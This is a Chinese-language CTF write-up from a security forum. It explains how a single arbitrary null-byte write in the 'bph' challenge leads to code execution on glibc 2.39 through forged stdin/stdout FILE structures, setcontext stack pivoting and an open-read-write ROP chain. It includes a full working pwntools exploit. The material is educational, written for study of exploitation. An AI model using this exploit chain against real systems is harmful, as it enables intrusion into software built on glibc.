首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
Pwn
发新帖
4
23
[原创]2025 强网杯S9 pwn - bph 复盘详解:一个任意地址写00到RCE的新技巧
发表于: 2025-12-11 00:49
23379
[原创]2025 强网杯S9 pwn - bph 复盘详解:一个任意地址写00到RCE的新技巧
selph
4
2025-12-11 00:49
23379
> 文章首发自 先知社区:<mark class="encrypted">a65K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5P5W2)9J5k6h3q4D9K9i4W2#2L8W2)9J5k6h3y4G2L8g2)9J5c8X3&6W2N6%4y4Q4x3V1j5I4z5e0t1#2z5l9`.`.</mark> ## 前言 pwn的技巧都跟魔法一样,一瞬间,发生了很多事情,如果不了解原理,那真的很难理解了,这里和大家分享一下 强网杯S9 pwn-bph题目的魔法般的技巧(**内含glibc-2.39源码&反汇编进行辅助讲解**) > xx一把梭搞得很多并不简单的题目分都烂了 ## 新技巧简介:单次任意地址写00到RCE 条件:当得到任意地址写00,且程序存在利用IO_FILE获取输入的场景时,例如:fgets,fread等 流程: 1. 可以向stdin->_IO_buf_base末位写入00,扩大输入缓冲区以至于能够覆盖stdin的输入缓冲区指针 2. 控制输入缓冲区指针指向stdout(利用下次输出时候的虚指针调用),或者stderr(利用exit流程的虚指针调用) 3. 再次输入可以覆盖目标IO_FILE结构,为后续利用做准备 4. 利用 puts:`_IO_sputn`(vtable+0x38)的调用,配合house of emma + house of cat组合完成控制流劫持 此题目存在沙箱,所以后续还需要进行栈迁移打ROP,具体思路就是伪造IO结构控制rdx,通过setcontext+61栈迁移进行ROP,ROP ORW绕过沙箱读取flag 具体流程和分析过程看下面今年强网的题目分析吧 ## 题目情况 glibc 2.39 版本(目前最新的大版本),程序保护全开: ```c Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled SHSTK: Enabled IBT: Enabled ``` 存在沙箱: ```c bph_16458b9d1cc48d68ba00aa2836012b81 ➤ seccomp-tools dump ./chall line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0c 0xc000003e if (A != ARCH_X86_64) goto 0014 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x09 0xffffffff if (A != 0xffffffff) goto 0014 0005: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0013 0006: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0013 0007: 0x15 0x05 0x00 0x00000003 if (A == close) goto 0013 0008: 0x15 0x04 0x00 0x00000009 if (A == mmap) goto 0013 0009: 0x15 0x03 0x00 0x0000000c if (A == brk) goto 0013 0010: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0013 0011: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0013 0012: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0014 0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0014: 0x06 0x00 0x00 0x00000000 return KILL ``` 只能使用openat,read,write这些系统调用 open函数内部调用的系统调用就是openat:(来自 glibc-2.39 源码) ```c int __libc_open (const char *file, int oflag, ...) { int mode = 0; if (__OPEN_NEEDS_MODE (oflag)) { va_list arg; va_start (arg, oflag); mode = va_arg (arg, int); va_end (arg); } return SYSCALL_CANCEL (openat, AT_FDCWD, file, oflag, mode); } libc_hidden_def (__libc_open) ``` 最终需要通过open-read-write完成flag的读取 ## 逆向分析 main 函数: ```c __int64 __fastcall main(__int64 a1, char **a2, char **a3) { char s[40]; // [rsp+0h] [rbp-68h] BYREF unsigned __int64 v5; // [rsp+28h] [rbp-40h] v5 = __readfsqword(0x28u); init(a1, a2, a3); set_sandbox(); sub_1640(); // 可泄露地址 while ( 2 ) { while ( 1 ) { puts(""); puts("1) Create note"); puts("2) Edit note"); puts("3) View note"); puts("4) Delete note"); puts("6) Exit"); __printf_chk(2, "Choice: "); if ( fgets(s, 32, stdin) ) // fgets break; LABEL_9: puts("bad choice"); } switch ( (unsigned int)__isoc23_strtol(s, 0, 10) ) { case 1u: create(); // 任意地址写入00 continue; case 2u: sub_1930(); // 未实现 continue; case 3u: __printf_chk(2, "Index: "); sub_1710(); // 未实现 continue; case 4u: sub_1A50(); // 不可用 continue; case 6u: puts("bye"); return 0; default: goto LABEL_9; } } } ``` 这里init函数初始化了2个全局变量:size和ptr ```c int init() { int result; // eax setvbuf(stdin, 0, 2, 0); result = setvbuf(stdout, 0, 2, 0); size = 0; ptr = 0; return result; } ``` **sub_1640函数提供了泄露地址的机会:可以利用残留数据泄露地址** ```c unsigned __int64 sub_1640() { char buf[88]; // [rsp+0h] [rbp-68h] BYREF unsigned __int64 v2; // [rsp+58h] [rbp-10h] v2 = __readfsqword(0x28u); puts("=== Tiny Service ==="); __printf_chk(2, "Please input your token: "); read(0, buf, 0x50u); __printf_chk(2, "Your token is %s.\n", buf); return v2 - __readfsqword(0x28u); } ``` 功能函数中只有create和delete实现了,其他两个没实现功能 create:读取size,申请内存,读取数据,写入末尾的00,设置ptr和dword_4040=1 **假如输入的size过大,malloc会失败返回0,read也会失败,但是 `ptr+size-1=0`****依然会执行,就会对 `size-1=0`****进行赋值,此处存在任意地址写入00字节** ```c int create() { __int64 v0; // rax size_t size_1; // rbx void *ptr; // rax size_t size; // [rsp+0h] [rbp-18h] BYREF unsigned __int64 v5; // [rsp+8h] [rbp-10h] v5 = __readfsqword(0x28u); if ( ptr || dword_4040 ) { LODWORD(v0) = puts("No free slots."); } else { __printf_chk(2, "Size: "); __isoc23_scanf("%zu", &size); // 读取size getc(stdin); size_1 = size; ptr = malloc(size); // 申请内存 ::size = size_1; ptr = ptr; __printf_chk(2, "Content: "); read(0, ptr, size); // 读取数据 *((char *)ptr + size - 1) = 0; // 写入00 __printf_chk(2, "Created note %d\n", 0); dword_4040 = 1; return v5 - __readfsqword(0x28u); } return v0; } ``` delete:检查dword_4040和ptr,如果存在ptr且dword_4040=0,才能执行free,这个条件不可能存在,所以可以认为这个函数不存在,不用再看了 ```c int sub_1A50() { char s[40]; // [rsp+0h] [rbp-38h] BYREF unsigned __int64 v2; // [rsp+28h] [rbp-10h] v2 = __readfsqword(0x28u); __printf_chk(2, "Index: "); if ( !fgets(s, 32, stdin) || dword_4040 | (unsigned int)__isoc23_strtol(s, 0, 10) ) return puts("invalid"); if ( !ptr ) return puts("already empty"); free(ptr); ptr = 0; size = 0; return puts("Deleted (pointer left dangling)."); } ``` ## 利用分析 程序逻辑很简单,就一次任意大小分配+末尾写入00字节的功能 分析一下现状: - glibc-2.39 版本,保护全开 - 存在地址泄露,可以泄露libc地址 - 存在任意地址写入00字节 - 通过fgets读取输入 思路:精准满足3个条件,这里可以用从任意地址写入 00 到 RCE的技巧: 1. 向stdin的IO_FILE结构体中_IO_buf_base末位写入00,就可以在下一次输入的时候,将输入的数据读取到输入缓冲区base到end的位置上,通过向末位写入00,可以让base指针指向更提前的地方,以至于下一次写入能够完整覆盖_IO_buf_base和_IO_buf_end 2. 下一次写入修改stdin的_IO_buf_base和_IO_buf_end为能够覆盖 stdout 结构体的范围,再下一次读取数据便可以完整覆盖stdout 3. 利用程序中会调用puts函数,puts函数会调用 `_IO_sputn`函数指针,通过house of emma偏移vtable指针的思想,即可通过调整偏移伪造FILE结构完成利用 4. 对于沙箱,则通过setcontext来绕过即可 ### 泄露libc地址过程: 利用残留数据泄露libc地址: ```py payload = cyclic(0x28) sa(b"token: ",payload) ru(cyclic(0x28)) leak = r(6).ljust(8,b"\x00") leak = unpack(leak) - 126 success(f"leak: {hex(leak)}") libc.address = leak - libc.sym.free success(f"libc base: {hex(libc.address)}") ``` ### 覆盖 stdin->_IO_buf_base 末位地址 通过构造size = stdin->_IO_buf_base + 1,进入create函数,触发任意地址写00 ```py target = libc.address +0x203918 success(f"target: {hex(target)}") sla(b"Choice: ",b"1") sla(b"Size: ",str(target+1).encode()) sa(b": ",b"aaaa") ``` 写入00后的stdin:这里+0x38处就是_IO_buf_base,+0x40处就是_IO_buf_end,可以看到,范围从0x7ffff7f90964(原本缓冲区就1字节)变到0x7ffff7f90900~0x7ffff7f90964,范围刚好覆盖到这个_IO_buf_base和_IO_buf_end ```py pwndbg> x/40xga &_IO_2_1_stdin_ 0x7ffff7f908e0 <_IO_2_1_stdin_>: 0xfbad20ab 0x7ffff7f90900 <_IO_2_1_stdin_+32> 0x7ffff7f908f0 <_IO_2_1_stdin_+16>: 0x7ffff7f90900 <_IO_2_1_stdin_+32> 0x7ffff7f90900 <_IO_2_1_stdin_+32> 0x7ffff7f90900 <_IO_2_1_stdin_+32>: 0x7ffff7f90900 <_IO_2_1_stdin_+32> 0x7ffff7f90900 <_IO_2_1_stdin_+32> 0x7ffff7f90910 <_IO_2_1_stdin_+48>: 0x7ffff7f90900 <_IO_2_1_stdin_+32> 0x7ffff7f90900 <_IO_2_1_stdin_+32> 0x7ffff7f90920 <_IO_2_1_stdin_+64>: 0x7ffff7f90964 <_IO_2_1_stdin_+132> 0x0 0x7ffff7f90930 <_IO_2_1_stdin_+80>: 0x0 0x0 0x7ffff7f90940 <_IO_2_1_stdin_+96>: 0x0 0x0 0x7ffff7f90950 <_IO_2_1_stdin_+112>: 0x0 0xffffffffffffffff 0x7ffff7f90960 <_IO_2_1_stdin_+128>: 0xa000000 0x7ffff7f92720 <_IO_stdfile_0_lock> 0x7ffff7f90970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0 0x7ffff7f90980 <_IO_2_1_stdin_+160>: 0x7ffff7f909c0 <_IO_wide_data_0> 0x0 0x7ffff7f90990 <_IO_2_1_stdin_+176>: 0x0 0x0 0x7ffff7f909a0 <_IO_2_1_stdin_+192>: 0xffffffff 0x0 0x7ffff7f909b0 <_IO_2_1_stdin_+208>: 0x0 0x7ffff7f8f030 <_IO_file_jumps> ``` ### 复写 stdin->_IO_buf_base和_IO_buf_end指向stdout 下一次输入的时候,输入缓冲区会从0x7ffff7f90900开始,需要伪造0x7ffff7f90900开始的数据: ```py payload = pack(0)*3 + pack(libc.sym._IO_2_1_stdout_) + pack(libc.sym._IO_2_1_stdout_ + 0x200) s(payload) ``` 这里只用管_IO_buf_base和_IO_buf_end的值,前面的值会自动更新的,让他刚好覆盖到stdout结构体即可,覆盖完之后: ```py pwndbg> x/40xga &_IO_2_1_stdin_ 0x7ffff7f908e0 <_IO_2_1_stdin_>: 0xfbad208b 0x7ffff7f915c0 <_IO_2_1_stdout_> 0x7ffff7f908f0 <_IO_2_1_stdin_+16>: 0x7ffff7f915c0 <_IO_2_1_stdout_> 0x7ffff7f915c0 <_IO_2_1_stdout_> 0x7ffff7f90900 <_IO_2_1_stdin_+32>: 0x7ffff7f915c0 <_IO_2_1_stdout_> 0x7ffff7f915c0 <_IO_2_1_stdout_> 0x7ffff7f90910 <_IO_2_1_stdin_+48>: 0x7ffff7f915c0 <_IO_2_1_stdout_> 0x7ffff7f915c0 <_IO_2_1_stdout_> 0x7ffff7f90920 <_IO_2_1_stdin_+64>: 0x7ffff7f917c0 <_nl_locale_file_list+96> 0x0 0x7ffff7f90930 <_IO_2_1_stdin_+80>: 0x0 0x0 0x7ffff7f90940 <_IO_2_1_stdin_+96>: 0x0 0x0 0x7ffff7f90950 <_IO_2_1_stdin_+112>: 0x0 0xffffffffffffffff 0x7ffff7f90960 <_IO_2_1_stdin_+128>: 0xa000000 0x7ffff7f92720 <_IO_stdfile_0_lock> 0x7ffff7f90970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0 0x7ffff7f90980 <_IO_2_1_stdin_+160>: 0x7ffff7f909c0 <_IO_wide_data_0> 0x0 0x7ffff7f90990 <_IO_2_1_stdin_+176>: 0x0 0x0 0x7ffff7f909a0 <_IO_2_1_stdin_+192>: 0xffffffff 0x0 0x7ffff7f909b0 <_IO_2_1_stdin_+208>: 0x0 0x7ffff7f8f030 <_IO_file_jumps> ``` ### house of emma + house of cat + puts 劫持控制流 下一次输入的时候,输入缓冲区就会覆盖到stdout结构体,现在可以伪造stdout结构了,利用puts的 `_IO_sputn`调用进行利用 ```py 0x00007ffff7e1a2a8 <+40>: mov rax,QWORD PTR [rdi+0xa0] 0x00007ffff7e1a2af <+47>: test ecx,ecx 0x00007ffff7e1a2b1 <+49>: je 0x7ffff7e1a6b0 <__GI__IO_wfile_seekoff+1072> 0x00007ffff7e1a2b7 <+55>: mov r12d,edx 0x00007ffff7e1a2ba <+58>: mov rcx,QWORD PTR [rax+0x18] 0x00007ffff7e1a2be <+62>: mov rdx,QWORD PTR [rax+0x20] 0x00007ffff7e1a2c2 <+66>: mov rbx,rsi 0x00007ffff7e1a2c5 <+69>: mov rdi,QWORD PTR [rax+0x8] 0x00007ffff7e1a2c9 <+73>: xor r15d,r15d 0x00007ffff7e1a2cc <+76>: cmp QWORD PTR [rax+0x10],rdi 0x00007ffff7e1a2d0 <+80>: je 0x7ffff7e1a6a0 <__GI__IO_wfile_seekoff+1056> 0x00007ffff7e1a2d6 <+86>: cmp rcx,rdx 0x00007ffff7e1a2d9 <+89>: jb 0x7ffff7e1a2e5 <__GI__IO_wfile_seekoff+101> 0x00007ffff7e1a2db <+91>: test DWORD PTR [r13+0x0],0x800 0x00007ffff7e1a2e3 <+99>: je 0x7ffff7e1a2fc <__GI__IO_wfile_seekoff+124> 0x00007ffff7e1a2e5 <+101>: mov rdi,r13 0x00007ffff7e1a2e8 <+104>: call 0x7ffff7e17fb0 <__GI__IO_switch_to_wget_mode> ``` 摘出来: r13是stdout指针 ```py 0x00007ffff7e1a2a8 <+40>: mov rax,QWORD PTR [rdi+0xa0] ... 0x00007ffff7e1a2ba <+58>: mov rcx,QWORD PTR [rax+0x18] 0x00007ffff7e1a2be <+62>: mov rdx,QWORD PTR [rax+0x20] ... 0x00007ffff7e1a2c5 <+69>: mov rdi,QWORD PTR [rax+0x8] ``` 需要第一个跳转不成立,第二个成立 ```py 0x00007ffff7e1a2cc <+76>: cmp QWORD PTR [rax+0x10],rdi 0x00007ffff7e1a2d0 <+80>: je 0x7ffff7e1a6a0 <__GI__IO_wfile_seekoff+1056> ;[rax+0x10] == rdi 跳转 0x00007ffff7e1a2d6 <+86>: cmp rcx,rdx 0x00007ffff7e1a2d9 <+89>: jb 0x7ffff7e1a2e5 <__GI__IO_wfile_seekoff+101> ;rcx-rdx >0 跳转 ``` 最小化payload,可以让+0xa0和当前IO_FILE结构重叠,指向stdout本身 需要 1. +0x8 和 +0x10不同,这个不用管,+0x10会自动赋值,必然和+0x8的不一样 2. +0x18 < +0x20 **rdx 可控,** 接下来的赋值:需要用到+0x20的值,+0x20也设置为fp 此时的+0x18需要满足上面的条件且为一个libc中代码段地址(gadget): 此时内存布局,stdout的位置如下,可见gadget地址一定小于fp地址 ```py 0x7ffff7d8d000 0x7ffff7db5000 r--p 28000 0 libc.so.6 0x7ffff7db5000 0x7ffff7f3d000 r-xp 188000 28000 libc.so.6 0x7ffff7f3d000 0x7ffff7f8c000 r--p 4f000 1b0000 libc.so.6 0x7ffff7f8c000 0x7ffff7f90000 r--p 4000 1fe000 libc.so.6 ► 0x7ffff7f90000 0x7ffff7f92000 rw-p 2000 202000 libc.so.6 0x7ffff7f92000 0x7ffff7f9f000 rw-p d000 0 [anon_7ffff7f92] ``` 接下来的流程: ```py 0x00007ffff7e17fc0 <+16>: mov rax,QWORD PTR [rdi+0xa0] 0x00007ffff7e17fc7 <+23>: mov rdx,QWORD PTR [rax+0x20] 0x00007ffff7e17fcb <+27>: cmp QWORD PTR [rax+0x18],rdx 0x00007ffff7e17fcf <+31>: jae 0x7ffff7e17ff0 <__GI__IO_switch_to_wget_mode+64> 0x00007ffff7e17fd1 <+33>: mov rax,QWORD PTR [rax+0xe0] 0x00007ffff7e17fd8 <+40>: mov esi,0xffffffff 0x00007ffff7e17fdd <+45>: call QWORD PTR [rax+0x18] ``` 需要[rax+18] < [rax+0x20] 来规避跳转,这个问题刚刚已经解决了 [rax + 0xe0] 也重叠 fp,最后call到 +0x18处 **payload:** ```py io_payload = flat({ 0x18:pack(0xdeadbeef), # read_base 0x20:pack(fp), # write_base _wide_data.write_base 0x88:pack(fp+8) , # lock 0xa0:pack(fp), # _wide_data 0xc0:pack(0), # mode 0xd8:pack(libc.sym._IO_wfile_jumps+0x10), # vtable 0xe0:pack(fp), },filler=b"\x00") ``` 对于寄存器的控制:rdx = [fp+0x20] ### 2次进入 setcontext 完成栈迁移,准备 rop setcontext+61:需要可控rdx就能控制寄存器的值,因为需要rop,所以需要控制rsp的值,然后最后通过ret进入rop链中,此时已经不再需要IO结构体了,可以损坏IO结构,在这片内存上任意挥霍,最简单的思路就是跳转到read上,写入数据到rsp里开始rop +0xa0已经设置为fp了,会被赋值给rsp ```py 0x00007ffff7dd799d <+61>: mov rsp,QWORD PTR [rdx+0xa0] 0x00007ffff7dd79a4 <+68>: mov rbx,QWORD PTR [rdx+0x80] 0x00007ffff7dd79ab <+75>: mov rbp,QWORD PTR [rdx+0x78] 0x00007ffff7dd79af <+79>: mov r12,QWORD PTR [rdx+0x48] 0x00007ffff7dd79b3 <+83>: mov r13,QWORD PTR [rdx+0x50] 0x00007ffff7dd79b7 <+87>: mov r14,QWORD PTR [rdx+0x58] 0x00007ffff7dd79bb <+91>: mov r15,QWORD PTR [rdx+0x60] 0x00007ffff7dd79bf <+95>: test DWORD PTR fs:0x48,0x2 0x00007ffff7dd79cb <+107>: je 0x7ffff7dd7a86 <setcontext+294> ... 0x00007ffff7dd7a86 <+294>: mov rcx,QWORD PTR [rdx+0xa8] 0x00007ffff7dd7a8d <+301>: push rcx 0x00007ffff7dd7a8e <+302>: mov rsi,QWORD PTR [rdx+0x70] 0x00007ffff7dd7a92 <+306>: mov rdi,QWORD PTR [rdx+0x68] 0x00007ffff7dd7a96 <+310>: mov rcx,QWORD PTR [rdx+0x98] 0x00007ffff7dd7a9d <+317>: mov r8,QWORD PTR [rdx+0x28] 0x00007ffff7dd7aa1 <+321>: mov r9,QWORD PTR [rdx+0x30] 0x00007ffff7dd7aa5 <+325>: mov rdx,QWORD PTR [rdx+0x88] 0x00007ffff7dd7aac <+332>: xor eax,eax 0x00007ffff7dd7aae <+334>: ret ``` 这里最后经过push操作,在ret的之后,rsp指向 `_IO_2_1_stderr_+216`,也就是push的值:[rdx+0xa8],这里是ret跳转的地址 直接跳转到read,控制rdi=0,rsi=fp,rdx=size,rdx=[fp+0x88],数字过大,read调用会失败,需要再次进入setcontext重新设置三个寄存器的值即可,原本fp+0x88指向fp+8,只需要将需要赋值的偏移+8,最终的结构体: ```py io_payload = flat({ 0x18:pack(libc.sym.setcontext + 61), # read_base 0x20:pack(fp), # write_base _wide_data.write_base 0x68 + 8:pack(0), # rdi 0x70 + 8:pack(fp), # rsi 0x88:pack(fp+8) , # lock 0x88 + 8:pack(0x400), # rcx 0xa0:pack(fp), # _wide_data 0xa8:pack(libc.sym.setcontext + 294), # setcontext+61 -> ret address 0xa8+8:pack(libc.sym.read), # setcontext+294 -> ret address 0xc0:pack(0), # mode 0xd8:pack(libc.sym._IO_wfile_jumps+0x10), # vtable 0xe0:pack(fp), # _wide_vtable },filler=b"\x00") ``` ### ROP 完成 ORW 完成ORW需要设置3个参数,这里的libc-2.39直接用ropper或者ROPGadget无法搜到pop rdx的片段,但是这不重要,**第三个参数只要是个数字就行,是多少无所谓,直接搜mov dl的片段:** ```py 0x00000000001a1fab : mov dl, 0x65 ; ret 0x00000000001a22b1 : mov dl, 0x66 ; ret ``` 利用这个完成第三个参数的赋值即可,dl是rdx的低8位,rop的时候rdx=0,可以这么用 最终rop chain: ```py mov_dl_0x65_ret = libc.address + 0x00000000001a1fab buf = fp + 0x150 rop = ROP(libc,fp) rop.open("/flag",0) rop.raw(mov_dl_0x65_ret) rop.read(3,buf) rop.raw(mov_dl_0x65_ret) rop.write(1,buf) s(rop.chain()) ``` ## 完整exp ```py #!/usr/bin/env python3 from pwn import * context.arch="amd64" io = process("./chall") #io = remote("",) libc = ELF("libc.so.6") r = lambda x : io.recv(numb=x) ru = lambda x : io.recvuntil(x) rl = lambda : io.recvline() s = lambda x : io.send(x) sl = lambda x : io.sendline(x) ia = lambda : io.interactive() sla = lambda a, b : io.sendlineafter(a, b) sa = lambda a, b : io.sendafter(a, b) # leak libc address payload = cyclic(0x28) sa(b"token: ",payload) ru(cyclic(0x28)) leak = r(6).ljust(8,b"\x00") leak = unpack(leak) - 126 success(f"leak: {hex(leak)}") libc.address = leak - libc.sym.free success(f"libc base: {hex(libc.address)}") # forge stdin input buffer target = libc.address +0x203918 success(f"target: {hex(target)}") sla(b"Choice: ",b"1") sla(b"Size: ",str(target+1).encode()) sa(b": ",b"aaaa") payload = pack(0)*3 + pack(libc.sym._IO_2_1_stdout_) + pack(libc.sym._IO_2_1_stdout_ + 0x200) s(payload) # fake io file structure fp = libc.sym._IO_2_1_stdout_ io_payload = flat({ 0x18:pack(libc.sym.setcontext + 61), # read_base 0x20:pack(fp), # write_base _wide_data.write_base 0x68 + 8:pack(0), # rdi 0x70 + 8:pack(fp), # rsi 0x88:pack(fp+8) , # lock 0x88 + 8:pack(0x400), # rcx 0xa0:pack(fp), # _wide_data 0xa8:pack(libc.sym.setcontext + 294), # setcontext+61 -> ret address 0xa8+8:pack(libc.sym.read), # setcontext+294 -> ret address 0xc0:pack(0), # mode 0xd8:pack(libc.sym._IO_wfile_jumps+0x10), # vtable 0xe0:pack(fp), # _wide_vtable },filler=b"\x00") s(io_payload) # sandbox bypass #0x00000000001a1fab : mov dl, 0x65 ; ret mov_dl_0x65_ret = libc.address + 0x00000000001a1fab buf = fp + 0x150 rop = ROP(libc,fp) rop.open("/flag",0) rop.raw(mov_dl_0x65_ret) rop.read(3,buf) rop.raw(mov_dl_0x65_ret) rop.write(1,buf) s(rop.chain()) ia() ``` ## 总结 - 一个新的技巧1:任意地址写00到rce,利用IO读取(fgets)会使用IO_FILE读取缓冲区的特点,完成IO_FILE结构伪造,通过puts触发虚函数调用劫持执行流 - 一个新的技巧2:orw rop的时候,对于没有pop rdx的场景,找mov dl, 0x??也好使 ## 参考资料 - [0] glibc-2.39 源码 - [1] <a href="elink@89aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5P5W2)9J5k6h3q4D9K9i4W2#2L8W2)9J5k6h3y4G2L8g2)9J5c8X3&6W2N6%4y4Q4x3V1j5I4y4e0x3%4z5b7`.`.">堆利用详解:house of cat(含 2.35 & 2.39 IO伪造过程分析)-先知社区</a>
回复或点赞可查看完整内容
传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!
#基础知识
#漏洞机制
#题解集锦
收藏
・
4
点赞
・
23
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
Halo_111
谢谢你的细致分析,受益匪浅!
4天前
Kevin·
感谢你分享这么好的资源!
2026-9-13 09:52
mb_dvqqrcce
感谢你的贡献,论坛因你而更加精彩!
2026-9-11 17:15
git_51951meggadf3df
非常支持你的观点!
2026-9-11 10:04
mb_lthgjpwj
为你点赞!
2026-8-21 08:19
BJChangan
非常支持你的观点!
2026-8-9 22:21
autorun886
感谢你的贡献,论坛因你而更加精彩!
2026-8-3 15:25
yw_16
你的分享对大家帮助很大,非常感谢!
2026-7-24 09:01
wx_晨梦
为你点赞!
2026-7-16 07:30
zhangdg
期待更多优质内容的分享,论坛有你更精彩!
2026-7-8 16:39
yuanyouran
+1
感谢你的贡献,论坛因你而更加精彩!
2026-6-30 17:04
B1t3
非常支持你的观点!
2026-5-6 10:35
N1n3Bird
为你点赞!
2026-2-25 14:04
ra1ny
+1
谢谢你的细致分析,受益匪浅!
2026-1-15 14:16
wx_发多少烦恼
为你点赞!
2025-12-28 14:57
rettozero
为你点赞!
2025-12-25 17:57
mb_ecayuquu
感谢你的积极参与,期待更多精彩内容!
2025-12-17 23:26
mb_txxsqkju
你的帖子非常有用,感谢分享!
2025-12-17 18:44
梧桐生
为你点赞!
2025-12-12 23:37
_0xA1pha
期待更多优质内容的分享,论坛有你更精彩!
2025-12-12 11:41
kkup008
期待更多优质内容的分享,论坛有你更精彩!
2025-12-11 18:14
mb_wpitiize
为你点赞!
2025-12-11 10:30
huangyalei
感谢你的贡献,论坛因你而更加精彩!
2025-12-11 08:52
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
9
)
拍拖
雪 币:
2790
活跃值:
(6986)
能力值:
( LV6,RANK:90 )
在线值:
发帖
22
回帖
424
粉丝
15
关注
私信
拍拖
2
2
楼
66666
2025-12-24 16:16
0
useryq
雪 币:
2
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
62
粉丝
0
关注
私信
useryq
3
楼
1
2026-1-9 16:34
0
满眼含泪
雪 币:
0
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
2
粉丝
0
关注
私信
满眼含泪
4
楼
666
2026-1-30 18:09
0
sparkle666
雪 币:
420
活跃值:
(495)
能力值:
( LV3,RANK:20 )
在线值:
发帖
2
回帖
9
粉丝
1
关注
私信
sparkle666
5
楼
666
2026-2-9 18:31
0
wx_1_816
雪 币:
0
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
8
粉丝
0
关注
私信
wx_1_816
6
楼
666
2026-4-1 18:00
0
jsjsj
雪 币:
0
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
7
粉丝
0
关注
私信
jsjsj
7
楼
666
2026-4-20 08:32
0
孤独灬剑客
雪 币:
196
活跃值:
(839)
能力值:
( LV2,RANK:10 )
在线值:
发帖
2
回帖
15
粉丝
1
关注
私信
孤独灬剑客
8
楼
666
2026-5-18 12:59
0
mb_oocttgwl
雪 币:
0
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
2
粉丝
0
关注
私信
mb_oocttgwl
9
楼
666
2026-5-22 18:01
0
yuanyouran
雪 币:
305
活跃值:
(3075)
能力值:
( LV2,RANK:10 )
在线值:
发帖
5
回帖
184
粉丝
0
关注
私信
yuanyouran
10
楼
666
2026-6-30 17:05
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
selph
4
10
发帖
11
回帖
210
RANK
关注
私信
他的文章
[原创]2025 强网杯S9 pwn - bph 复盘详解:一个任意地址写00到RCE的新技巧
23376
[原创]DefCamp CTF 2025 onigirl 复盘详解
13123
[原创][HTB]Dream Diary: Chapter 2
2926
[HTB]Dream Diary: Chapter 1
7036
[原创]栈溢出练习:ROP Emporium
10464
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部